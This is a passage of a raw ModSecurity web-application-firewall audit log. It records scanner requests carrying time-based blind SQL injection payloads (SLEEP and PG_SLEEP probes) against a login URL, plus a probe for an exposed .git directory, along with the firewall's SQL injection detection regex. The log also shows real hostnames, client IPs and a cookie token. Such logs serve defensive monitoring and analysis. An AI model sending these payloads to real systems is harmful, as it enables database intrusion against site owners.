"[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (3080=3080 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and (select 4997 from (select(sleep(5)))unoa) and (3080=3080"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89r4l8S04UZ4l67-nekwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023599263940 58073 (- - -) Stopwatch2: 1750023599263940 58073; combined=3180, p1=361, p2=2687, p3=0, p4=0, p5=131, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4e06a372-Z-- --51e97478-A-- [16/Jun/2025:03:09:59.456073 +0530] aE89rn2GhYywD7zZgx76WwAAAAM 185.177.72.210 38262 127.0.0.1 7081 --51e97478-B-- GET /.git/logs/refs/remotes HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --51e97478-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=58f847e93b8b303bb16acba4a626e11d1750023599; expires=Sun, 15 Jun 2025 22:39:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --51e97478-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/logs/refs/remotes"] [unique_id "aE89rn2GhYywD7zZgx76WwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023598794650 661493 (- - -) Stopwatch2: 1750023598794650 661493; combined=1949, p1=376, p2=1456, p3=0, p4=0, p5=116, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --51e97478-Z-- --83c71810-A-- [16/Jun/2025:03:10:00.207509 +0530] aE89sFR6EeXjkGzEkbllEwAAAAs 172.69.150.144 54238 127.0.0.1 7081 --83c71810-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20AND%20%28SELECT%204997%20FROM%20%28SELECT%28SLEEP%285%29%29%29UNoa%29%20AND%20%28%27stlE%27%3D%27stlE HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.150.144 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505392c78ab65b9-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --83c71810-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --83c71810-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('stle'='stle found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and (select 4997 from (select(sleep(5)))unoa) and ('stle'='stle"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('stle'='stle found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and (select 4997 from (select(sleep(5)))unoa) and ('stle'='stle"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89sFR6EeXjkGzEkbllEwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023600149945 57683 (- - -) Stopwatch2: 1750023600149945 57683; combined=5237, p1=443, p2=4462, p3=0, p4=0, p5=332, sr=123, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83c71810-Z-- --fc0a744a-A-- [16/Jun/2025:03:10:00.545389 +0530] aE89sNkGqt_oHz6gRVdJLwAAAAw 162.158.111.235 54264 127.0.0.1 7081 --fc0a744a-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20AND%20%28SELECT%204997%20FROM%20%28SELECT%28SLEEP%285%29%29%29UNoa%29%20AND%20%27heZd%27%3D%27heZd HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.235 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505392e8ffb3619-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --fc0a744a-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --fc0a744a-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'hezd'='hezd found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and (select 4997 from (select(sleep(5)))unoa) and 'hezd'='hezd"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'hezd'='hezd found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and (select 4997 from (select(sleep(5)))unoa) and 'hezd'='hezd"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89sNkGqt_oHz6gRVdJLwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023600487720 57761 (- - -) Stopwatch2: 1750023600487720 57761; combined=4485, p1=481, p2=3865, p3=0, p4=0, p5=139, sr=131, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fc0a744a-Z-- --7b24e573-A-- [16/Jun/2025:03:10:02.132186 +0530] aE89sfkun2jazaBvM9tuOwAAAAE 172.69.150.245 54346 127.0.0.1 7081 --7b24e573-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20AND%205696%3D%28SELECT%205696%20FROM%20PG_SLEEP%285%29%29%20AND%20%283656%3D3656 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.150.245 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505393419774dc1-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --7b24e573-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%205696=(SELECT%205696%20FROM%20PG_SLEEP(5))%20AND%20(3656=3656 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --7b24e573-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 5696=(select 5696 from pg_sleep(5)) and (3656=3656 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 5696=(select 5696 from pg_sleep(5)) and (3656=3656"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 5696=(select 5696 from pg_sleep(5)) and (3656=3656 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 5696=(select 5696 from pg_sleep(5)) and (3656=3656"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89sfkun2jazaBvM9tuOwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023601600938 531344 (- - -) Stopwatch2: 1750023601600938 531344; combined=4027, p1=434, p2=3440, p3=0, p4=0, p5=153, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b24e573-Z-- --c8f52061-A-- [16/Jun/2025:03:10:04.427952 +0530] aE89tH2GhYywD7zZgx76XgAAAAM 172.70.248.99 54506 127.0.0.1 7081 --c8f52061-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20AND%205696%3D%28SELECT%205696%20FROM%20PG_SLEEP%285%29%29%20AND%20%28%27HiHu%27%3D%27HiHu HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.99 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053945ebdcbd24-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --c8f52061-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%205696=(SELECT%205696%20FROM%20PG_SLEEP(5))%20AND%20(HiHu=HiHu Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --c8f52061-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 5696=(select 5696 from pg_sleep(5)) and ('hihu'='hihu found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 5696=(select 5696 from pg_sleep(5)) and ('hihu'='hihu"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 5696=(select 5696 from pg_sleep(5)) and ('hihu'='hihu found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 5696=(select 5696 from pg_sleep(5)) and ('hihu'='hihu"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89tH2GhYywD7zZgx76XgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023604199519 228587 (- - -) Stopwatch2: 1750023604199519 228587; combined=4108, p1=359, p2=3604, p3=0, p4=0, p5=145, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8f52061-Z-- --7600e934-A-- [16/Jun/2025:03:10:05.528544 +0530] aE89tYl8S04UZ4l67-nelgAAAAk 172.71.172.115 54536 127.0.0.1 7081 --7600e934-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20AND%205696%3D%28SELECT%205696%20FROM%20PG_SLEEP%285%29%29%20AND%20%27VcAz%27%3D%27VcAz HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.115 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505394ccb99d22f-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --7600e934-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%205696=(SELECT%205696%20FROM%20PG_SLEEP(5))%20AND%20VcAz=VcAz Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --7600e934-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 5696=(select 5696 from pg_sleep(5)) and 'vcaz'='vcaz found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 5696=(select 5696 from pg_sleep(5)) and 'vcaz'='vcaz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 5696=(select 5696 from pg_sleep(5)) and 'vcaz'='vcaz found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 5696=(select 5696 from pg_sleep(5)) and 'vcaz'='vcaz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89tYl8S04UZ4l67-nelgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023605307795 220881 (- - -) Stopwatch2: 1750023605307795 220881; combined=5527, p1=524, p2=4843, p3=0, p4=0, p5=159, sr=134, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7600e934-Z-- --5ae7614b-A-- [16/Jun/2025:03:10:06.852708 +0530] aE89tkNwpNEMJppxC49SAwAAAAI 162.158.95.23 54586 127.0.0.1 7081 --5ae7614b-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%205696%3D%28SELECT%205696%20FROM%20PG_SLEEP%285%29%29--%20BEqZ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.23 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053953ba6437f1-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --5ae7614b-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%205696=(SELECT%205696%20FROM%20PG_SLEEP(5))--%20BEqZ Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --5ae7614b-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 5696=(select 5696 from pg_sleep(5))-- beqz found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 5696=(select 5696 from pg_sleep(5))-- beqz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 5696=(select 5696 from pg_sleep(5))-- beqz found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 5696=(select 5696 from pg_sleep(5))-- beqz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89tkNwpNEMJppxC49SAwAAAAI"] Apache-Handler: 